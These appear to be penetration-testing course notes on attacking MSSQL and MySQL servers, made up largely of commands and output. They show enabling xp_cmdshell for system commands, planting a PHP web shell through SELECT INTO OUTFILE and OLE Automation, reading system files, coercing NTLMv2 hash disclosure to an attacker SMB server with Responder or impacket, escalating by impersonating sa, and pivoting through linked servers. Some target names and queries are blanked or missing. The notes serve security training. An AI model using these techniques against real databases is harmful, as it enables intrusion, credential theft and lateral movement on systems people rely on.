SQL Databases


By default, MSSQL uses port TCP/1433, and MySQL uses TCP/3306.

neutron@kali[/kali]$ nmap -Pn -sV -sC -p1433

Host discovery disabled (-Pn). All addresses will be marked 'up', and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-26 02:09 BST
Nmap scan report for
Host is up (0.0099s latency).

1433/tcp open  ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: xyz
|   NetBIOS_Domain_Name: xyz
|   NetBIOS_Computer_Name: mssql-test
|   DNS_Domain_Name: xyz.LOCAL
|   DNS_Computer_Name: mssql-test.xyz.LOCAL
|   DNS_Tree_Name: xyz.LOCAL
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-08-26T01:04:36
|_Not valid after:  2051-08-26T01:04:36
|_ssl-date: 2021-08-26T01:11:58+00:00; +2m05s from scanner time.

Host script results:
|_clock-skew: mean: 2m04s, deviation: 0s, median: 2m04s
| ms-sql-info: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433

MySQL - Connecting to the SQL Server

neutron@kali[/kali]$ mysql -u julio -pPassword123 -h

Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 8.0.28-0ubuntu0.20.04.3 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>

Sqlcmd - Connecting to the SQL Server

C:\xyz> sqlcmd -S SRVMSSQL -U julio -P 'MyPassword!' -y 30 -Y 30


When using Windows Authentication, we need to specify the domain name or the hostname of the target machine. If we don't specify a domain or hostname, it will assume SQL Authentication and authenticate against the users created in the SQL Server. Instead, if we define the domain or hostname, it will use Windows Authentication. If we are targetting a local account, we can use SERVERNAME\\accountname or .\\accountname.

neutron@kali[/kali]$ sqsh -S -U .\\julio -P 'MyPassword!' -h

sqsh- Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'

MySQL default system schemas/databases:

  • mysql - is the system database that contains tables that store information required by the MySQL server
  • information_schema - provides access to database metadata
  • performance_schema - is a feature for monitoring MySQL Server execution at a low level
  • sys - a set of objects that helps DBAs and developers interpret data collected by the Performance Schema

MSSQL default system schemas/databases:

  • master - keeps the information for an instance of SQL Server.
  • msdb - used by SQL Server Agent.
  • model - a template database copied for each new database.
  • resource - a read-only database that keeps system objects visible in every database on the server in sys schema.
  • tempdb - keeps temporary objects for SQL queries.

SQL Syntax


| Database           |
| information_schema |
| xyzusers           |
2 rows in set (0.00 sec)

If we use sqlcmd, we will need to use GO after our query to execute the SQL syntax.

1> SELECT name FROM master.dbo.sysdatabases
2> GO

mysql> USE xyzusers;

Database changed
1> USE xyzusers
2> GO

Changed database context to 'xyzusers'.

| Tables_in_xyzusers         |
| actions                    |
| permissions                |
| permissions_roles          |
| permissions_users          |
| roles                      |
| roles_users                |
| settings                   |
| users                      |
8 rows in set (0.00 sec)
2> GO

(8 rows affected)
mysql> SELECT * FROM users;

| id | username      | password   | date_of_joining     |
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
|  3 | john          | john123!   | 2020-07-02 11:47:16 |
|  4 | tom           | tom123!    | 2020-07-02 12:23:16 |
4 rows in set (0.00 sec)
1> SELECT * FROM users
2> go

id          username             password         data_of_joining
----------- -------------------- ---------------- -----------------------
          1 admin                p@ssw0rd         2020-07-02 00:00:00.000
          2 administrator        adm1n_p@ss       2020-07-02 11:30:50.000
          3 john                 john123!         2020-07-02 11:47:16.000
          4 tom                  tom123!          2020-07-02 12:23:16.000

(4 rows affected)

Execute Commands

MSSQL has a extended stored procedures called xp_cmdshell which allow us to execute system commands using SQL.


1> xp_cmdshell 'whoami'
2> GO

no service\mssql$sqlexpress
(2 rows affected)

If xp_cmdshell is not enabled, we can enable it, if we have the appropriate privileges, using the following command:

-- To allow advanced options to be changed.  
EXECUTE sp_configure 'show advanced options', 1

-- To update the currently configured value for advanced options.  

-- To enable the feature.  
EXECUTE sp_configure 'xp_cmdshell', 1

-- To update the currently configured value for this feature.  

There are other methods to get command execution, such as adding extended stored procedures, CLR Assemblies, SQL Server Agent Jobs, and external scripts.

Write Local Files

MySQL does not have a stored procedure like xp_cmdshell, but we can archive command execution if we write to a location in the file system that can execute our commands. For example, suppose MySQL operates on a PHP-based web server or other programming languages like ASP.NET. If we have the appropriate privileges, we can attempt to write a file using SELECT INTO OUTFILE in the webserver directory. Then we can browse to the location where the file is and execute our commands.

mysql> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';

Query OK, 1 row affected (0.001 sec)

In MySQL, a global system variable secure_file_priv limits the effect of data import and export operations, such as those performed by the LOAD DATA and SELECT … INTO OUTFILE statements and the LOAD_FILE() function. These operations are permitted only to users who have the FILE privilege.

Here we can see the secure_file_priv variable is empty, which means we can read and write data using MySQL:

mysql> show variables like "secure_file_priv";

| Variable_name    | Value |
| secure_file_priv |       |

1 row in set (0.005 sec)

To write files using MSSQL, we need to enable Ole Automation Procedures, which requires admin privileges, and then execute some stored procedures to create the file:

1> sp_configure 'show advanced options', 1
2> GO
4> GO
5> sp_configure 'Ole Automation Procedures', 1
6> GO
8> GO
3> EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
4> EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
5> EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
6> EXECUTE sp_OADestroy @FileID
7> EXECUTE sp_OADestroy @OLE
8> GO

Read Local Files

By default, MSSQL allows file read on any file in the operating system to which the account has read access.

1> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
2> GO


# Copyright (c) 1993-2009 Microsoft Corp.
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
# This file contains the mappings of IP addresses to hostnames. Each
# entry should be kept on an individual line. The IP address should

(1 rows affected)

By default a MySQL installation does not allow arbitrary file read, but if the correct settings are in place and with the appropriate privileges:

mysql> select LOAD_FILE("/etc/passwd");

| LOAD_FILE("/etc/passwd")


Capture MSSQL Service Hash

We can also steal the MSSQL service account hash using xp_subdirs or xp_dirtree undocumented stored procedures, which use the SMB protocol to retrieve a list of child directories under a specified parent directory from the file system. When we use one of these stored procedures and point it to our SMB server, the directory listening functionality will force the server to authenticate and send the NTLMv2 hash of the service account that is running the SQL Server.

To make this work, we need first to start Responder or impacket-smbserver and execute one of the following SQL queries:

XP_DIRTREE Hash Stealing

1> EXEC master..xp_dirtree '\\\share\'
2> GO

subdirectory    depth
--------------- -----------

XP_SUBDIRS Hash Stealing

1> EXEC master..xp_subdirs '\\\share\'
2> GO

HResult 0x55F6, Level 16, State 1
xp_subdirs could not access '\\\share\*.*': FindFirstFile() returned error 5, 'Access is denied.'

If the service account has access to our server, we will obtain its hash. We can then attempt to crack the hash or relay it to another host.

XP_SUBDIRS Hash Stealing with Responder

neutron@kali[/kali]$ sudo responder -I tun0

  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|

[+] Listening for events...

[SMB] NTLMv2-SSP Client   :
[SMB] NTLMv2-SSP Username : SRVMSSQL\demouser
[SMB] NTLMv2-SSP Hash     : demouser::WIN7BOX:5e3ab1c4380b94a1:A18830632D52768440B7E2425C4A7107:0101000000000000009BFFB9DE3DD801D5448EF4D0BA034D0000000002000800510053004700320001001E00570049004E002D003500440050005A0033005200530032004F005800320004003400570049004E002D003500440050005A0033005200530032004F00580013456F0051005300470013456F004C004F00430041004C000300140051005300470013456F004C004F00430041004C000500140051005300470013456F004C004F00430041004C0007000800009BFFB9DE3DD80106000400020000000800300030000000000000000100000000200000ADCA14A9054707D3939B6A5F98CE1F6E5981AC62CEC5BEAD4F6200A35E8AD9170A0010000000000000000000000000000000000009001C0063006900660073002F00740065007300740069006E006700730061000000000000000000

XP_SUBDIRS Hash Stealing with impacket

neutron@kali[/kali]$ sudo impacket-smbserver share ./ -smb2support

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 
[*] Config file parsed                                                 
[*] Config file parsed                                                 
[*] Config file parsed
[*] Incoming connection (,49728)
[*] User WINSRV02\mssqlsvc authenticated successfully                        
[*] demouser::WIN7BOX:5e3ab1c4380b94a1:A18830632D52768440B7E2425C4A7107:0101000000000000009BFFB9DE3DD801D5448EF4D0BA034D0000000002000800510053004700320001001E00570049004E002D003500440050005A0033005200530032004F005800320004003400570049004E002D003500440050005A0033005200530032004F00580013456F0051005300470013456F004C004F00430041004C000300140051005300470013456F004C004F00430041004C000500140051005300470013456F004C004F00430041004C0007000800009BFFB9DE3DD80106000400020000000800300030000000000000000100000000200000ADCA14A9054707D3939B6A5F98CE1F6E5981AC62CEC5BEAD4F6200A35E8AD9170A0010000000000000000000000000000000000009001C0063006900660073002F00740065007300740069006E006700730061000000000000000000
[*] Closing down connection (,49728)                      
[*] Remaining connections []

Impersonate Existing Users with MSSQL

SQL Server has a special permission, named IMPERSONATE, that allows the executing user to take on the permissions of another user or login until the context is reset or the session ends.

First, we need to identify users that we can impersonate. Sysadmins can impersonate anyone by default, But for non-administrator users, privileges must be explicitly assigned.

Identify Users that We Can Impersonate

1> SELECT distinct b.name
2> FROM sys.server_permissions a
3> INNER JOIN sys.server_principals b
4> ON a.grantor_principal_id = b.principal_id
5> WHERE a.permission_name = 'IMPERSONATE'
6> GO


(3 rows affected)

To get an idea of privilege escalation possibilities, let's verify if our current user has the sysadmin role:

3> go


(1 rows affected)


(1 rows affected)

As the returned value 0 indicates, we do not have the sysadmin role, but we can impersonate the sa user. Let us impersonate the user and execute the same commands. To impersonate a user, we can use the Transact-SQL statement EXECUTE AS LOGIN and set it to the user we want to impersonate.

4> GO


(1 rows affected)


(1 rows affected)

Note: It's recommended to run EXECUTE AS LOGIN within the master DB, because all users, by default, have access to that database. If a user you are trying to impersonate doesn't have access to the DB you are connecting to it will present an error. Try to move to the master DB using USE master.

We can now execute any command as a sysadmin as the returned value 1 indicates. To revert the operation and return to our previous user, we can use the Transact-SQL statement REVERT.

Note: If we find a user who is not sysadmin, we can still check if the user has access to other databases or linked servers.

Communicate with Other Databases with MSSQL

MSSQL has a configuration option called linked servers. Linked servers are typically configured to enable the database engine to execute a Transact-SQL statement that includes tables in another instance of SQL Server, or another database product such as Oracle.

If we manage to gain access to a SQL Server with a linked server configured, we may be able to move laterally to that database server. Administrators can configure a linked server using credentials from the remote server. If those credentials have sysadmin privileges, we may be able to execute commands in the remote SQL instance.

Identify linked Servers in MSSQL

1> SELECT srvname, isremote FROM sysservers
2> GO

srvname                             isremote
----------------------------------- --------

(2 rows affected)

As we can see in the query's output, we have the name of the server and the column isremote, where 1 means is a remote server, and 0 is a linked server.

Next, we can attempt to identify the user used for the connection and its privileges.

1> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [\SQLEXPRESS]
2> GO

------------------------------ ------------------------------ ------------------------------ -----------
DESKTOP-0L9D4KA\SQLEXPRESS     Microsoft SQL Server 2019 (RTM sa_remote                                1

(1 rows affected)

Note: If we need to use quotes in our query to the linked server, we need to use single double quotes to escape the single quote. To run multiples commands at once we can divide them up with a semi colon (;).

We can now execute queries with sysadmin privileges on the linked server. As sysadmin, we control the SQL Server instance. We can read data from any database or execute system commands with xp_cmdshell.